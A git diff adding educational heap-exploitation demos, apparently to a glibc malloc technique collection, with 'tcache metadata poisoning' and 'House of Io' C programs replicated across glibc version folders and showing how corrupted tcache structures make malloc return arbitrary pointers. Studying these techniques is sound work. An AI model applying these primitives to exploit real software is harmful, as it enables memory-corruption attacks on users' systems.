diff --git a/README.md b/README.md index f55a59e..fa00a7b 100644 --- a/README.md +++ b/README.md @@ -41,6 +41,8 @@ We came up with the idea during a hack meeting, and have implemented the followi | [decrypt_safe_linking.c](glibc_2.35/decrypt_safe_linking.c) | :arrow_forward: | Decrypt the poisoned value in linked list to recover the actual pointer | >= 2.32 | | | | [safe_link_double_protect.c](glibc_2.36/safe_link_double_protect.c) | | Leakless bypass for PROTECT_PTR by protecting a pointer twice, allowing for arbitrary pointer linking in t-cache | >= 2.32 | | [37c3 Potluck - Tamagoyaki](https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki)| | [tcache_dup.c](obsolete/glibc_2.27/tcache_dup.c)(obsolete) | | Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. | 2.26 - 2.28 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d) | | +| [tcache_metadata_poisoning.c](glibc_2.27/tcache_metadata_poisoning.c) | | Trick the tcache into providing arbitrary pointers by manipulating the tcache metadata struct | >= 2.26 | | | +| [house_of_io.c](glibc_2.31/house_of_io.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by UAF in a free'd tcache chunk. | 2.31 - 2.33 | | | The GnuLibc is under constant development and several of the techniques above have let to consistency checks introduced in the malloc/free logic. Consequently, these checks regularly break some of the techniques and require adjustments to bypass them (if possible). diff --git a/glibc_2.27/tcache_metadata_poisoning.c b/glibc_2.27/tcache_metadata_poisoning.c new file mode 100644 index 0000000..a48b5f2 --- /dev/null +++ b/glibc_2.27/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + char counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.31/house_of_io.c b/glibc_2.31/house_of_io.c new file mode 100644 index 0000000..6d5f87e --- /dev/null +++ b/glibc_2.31/house_of_io.c @@ -0,0 +1,104 @@ +#include +#include +#include +#include +#include + +// House of Io - Use after free Variant +// ==================================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. +// +// House of Io only works in libc versions 2.29 - 2.33, because in these +// versions the key of a tcache entry is the pointer to the tcache management +// struct. This can allow an attacker to carry out a tcache_metadata_poisoning +// attack. +// +// However the exploit primitives are very constrained as stated in the source. +// Negative overflows are very rare and so is the needed order of specific frees +// for the double free variant. This use after free is a bit more realistic. + +unsigned long global_var = 1; + +struct overlay { + uint64_t *next; + uint64_t *key; +}; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant is the use-after-free variant and can be used, if the\n" + "free'd struct has a pointer at offset +0x08, which can be read from\n" + "and written to. This pointer will be the tcache->key entry of the\n" + "free'd chunk, which contains a pointer to the tcache management\n" + "struct. If we use that pointer we can manipulate the tcache management\n" + "struct into returning an arbitrary pointer.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts("First we have to allocate a struct, that has a pointer at offset\n" + "+0x08.\n"); + struct overlay *ptr = malloc(sizeof(struct overlay)); + + ptr->next = malloc(0x10); + ptr->key = malloc(0x10); + + puts("Then we immedietly free that struct to get a pointer to the tcache\n" + "management struct.\n"); + free(ptr); + + printf("The tcache struct is located at %p.\n\n", ptr->key); + struct tcache_perthread_struct *management_struct = + (struct tcache_perthread_struct *)ptr->key; + + puts( + "Now that we have a pointer to the management struct we can manipulate\n" + "its values. First we potentially have to increase the counter of the\n" + "first bin by to a number higher than zero, to make the tcache think we\n" + "free'd at least one chunk. In our case this is not necesarry because\n" + "the `overlay` struct fits in the first bin and we have free'd that\n" + "already. The firest member of the tcache_perthread_struct is the array\n" + "of counters. So by overwriting the first element of our pointer we set\n" + "the correct value in the array.\n"); + management_struct->counts[0] = 1; + + printf("Before we overwrite the pointer in the tcache bin, the bin contains\n" + "[ %p ]. This is the same as the free'd overlay struct which we\n" + "created at the start [ %p == %p ].\n\n", + management_struct->entries[0], management_struct->entries[0], ptr); + management_struct->entries[0] = (uint64_t)&global_var; + printf( + "After the write we have placed a pointer to the global variable into\n" + "the tcache [ %p ].\n\n", + management_struct->entries[0]); + + puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" + "to our target location.\n"); + uint64_t *evil_chunk = malloc(0x10); + + assert(evil_chunk == &global_var); + return 0; +} diff --git a/glibc_2.31/tcache_metadata_poisoning.c b/glibc_2.31/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.31/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.32/house_of_io.c b/glibc_2.32/house_of_io.c new file mode 100644 index 0000000..6d5f87e --- /dev/null +++ b/glibc_2.32/house_of_io.c @@ -0,0 +1,104 @@ +#include +#include +#include +#include +#include + +// House of Io - Use after free Variant +// ==================================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. +// +// House of Io only works in libc versions 2.29 - 2.33, because in these +// versions the key of a tcache entry is the pointer to the tcache management +// struct. This can allow an attacker to carry out a tcache_metadata_poisoning +// attack. +// +// However the exploit primitives are very constrained as stated in the source. +// Negative overflows are very rare and so is the needed order of specific frees +// for the double free variant. This use after free is a bit more realistic. + +unsigned long global_var = 1; + +struct overlay { + uint64_t *next; + uint64_t *key; +}; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant is the use-after-free variant and can be used, if the\n" + "free'd struct has a pointer at offset +0x08, which can be read from\n" + "and written to. This pointer will be the tcache->key entry of the\n" + "free'd chunk, which contains a pointer to the tcache management\n" + "struct. If we use that pointer we can manipulate the tcache management\n" + "struct into returning an arbitrary pointer.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts("First we have to allocate a struct, that has a pointer at offset\n" + "+0x08.\n"); + struct overlay *ptr = malloc(sizeof(struct overlay)); + + ptr->next = malloc(0x10); + ptr->key = malloc(0x10); + + puts("Then we immedietly free that struct to get a pointer to the tcache\n" + "management struct.\n"); + free(ptr); + + printf("The tcache struct is located at %p.\n\n", ptr->key); + struct tcache_perthread_struct *management_struct = + (struct tcache_perthread_struct *)ptr->key; + + puts( + "Now that we have a pointer to the management struct we can manipulate\n" + "its values. First we potentially have to increase the counter of the\n" + "first bin by to a number higher than zero, to make the tcache think we\n" + "free'd at least one chunk. In our case this is not necesarry because\n" + "the `overlay` struct fits in the first bin and we have free'd that\n" + "already. The firest member of the tcache_perthread_struct is the array\n" + "of counters. So by overwriting the first element of our pointer we set\n" + "the correct value in the array.\n"); + management_struct->counts[0] = 1; + + printf("Before we overwrite the pointer in the tcache bin, the bin contains\n" + "[ %p ]. This is the same as the free'd overlay struct which we\n" + "created at the start [ %p == %p ].\n\n", + management_struct->entries[0], management_struct->entries[0], ptr); + management_struct->entries[0] = (uint64_t)&global_var; + printf( + "After the write we have placed a pointer to the global variable into\n" + "the tcache [ %p ].\n\n", + management_struct->entries[0]); + + puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" + "to our target location.\n"); + uint64_t *evil_chunk = malloc(0x10); + + assert(evil_chunk == &global_var); + return 0; +} diff --git a/glibc_2.32/tcache_metadata_poisoning.c b/glibc_2.32/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.32/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.33/house_of_io.c b/glibc_2.33/house_of_io.c new file mode 100644 index 0000000..6d5f87e --- /dev/null +++ b/glibc_2.33/house_of_io.c @@ -0,0 +1,104 @@ +#include +#include +#include +#include +#include + +// House of Io - Use after free Variant +// ==================================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. +// +// House of Io only works in libc versions 2.29 - 2.33, because in these +// versions the key of a tcache entry is the pointer to the tcache management +// struct. This can allow an attacker to carry out a tcache_metadata_poisoning +// attack. +// +// However the exploit primitives are very constrained as stated in the source. +// Negative overflows are very rare and so is the needed order of specific frees +// for the double free variant. This use after free is a bit more realistic. + +unsigned long global_var = 1; + +struct overlay { + uint64_t *next; + uint64_t *key; +}; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant is the use-after-free variant and can be used, if the\n" + "free'd struct has a pointer at offset +0x08, which can be read from\n" + "and written to. This pointer will be the tcache->key entry of the\n" + "free'd chunk, which contains a pointer to the tcache management\n" + "struct. If we use that pointer we can manipulate the tcache management\n" + "struct into returning an arbitrary pointer.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts("First we have to allocate a struct, that has a pointer at offset\n" + "+0x08.\n"); + struct overlay *ptr = malloc(sizeof(struct overlay)); + + ptr->next = malloc(0x10); + ptr->key = malloc(0x10); + + puts("Then we immedietly free that struct to get a pointer to the tcache\n" + "management struct.\n"); + free(ptr); + + printf("The tcache struct is located at %p.\n\n", ptr->key); + struct tcache_perthread_struct *management_struct = + (struct tcache_perthread_struct *)ptr->key; + + puts( + "Now that we have a pointer to the management struct we can manipulate\n" + "its values. First we potentially have to increase the counter of the\n" + "first bin by to a number higher than zero, to make the tcache think we\n" + "free'd at least one chunk. In our case this is not necesarry because\n" + "the `overlay` struct fits in the first bin and we have free'd that\n" + "already. The firest member of the tcache_perthread_struct is the array\n" + "of counters. So by overwriting the first element of our pointer we set\n" + "the correct value in the array.\n"); + management_struct->counts[0] = 1; + + printf("Before we overwrite the pointer in the tcache bin, the bin contains\n" + "[ %p ]. This is the same as the free'd overlay struct which we\n" + "created at the start [ %p == %p ].\n\n", + management_struct->entries[0], management_struct->entries[0], ptr); + management_struct->entries[0] = (uint64_t)&global_var; + printf( + "After the write we have placed a pointer to the global variable into\n" + "the tcache [ %p ].\n\n", + management_struct->entries[0]); + + puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" + "to our target location.\n"); + uint64_t *evil_chunk = malloc(0x10); + + assert(evil_chunk == &global_var); + return 0; +} diff --git a/glibc_2.33/tcache_metadata_poisoning.c b/glibc_2.33/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.33/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.34/tcache_metadata_poisoning.c b/glibc_2.34/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.34/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.35/tcache_metadata_poisoning.c b/glibc_2.35/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.35/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.36/tcache_metadata_poisoning.c b/glibc_2.36/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.36/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.37/tcache_metadata_poisoning.c b/glibc_2.37/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.37/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.38/tcache_metadata_poisoning.c b/glibc_2.38/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.38/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.39/tcache_metadata_poisoning.c b/glibc_2.39/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.39/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata 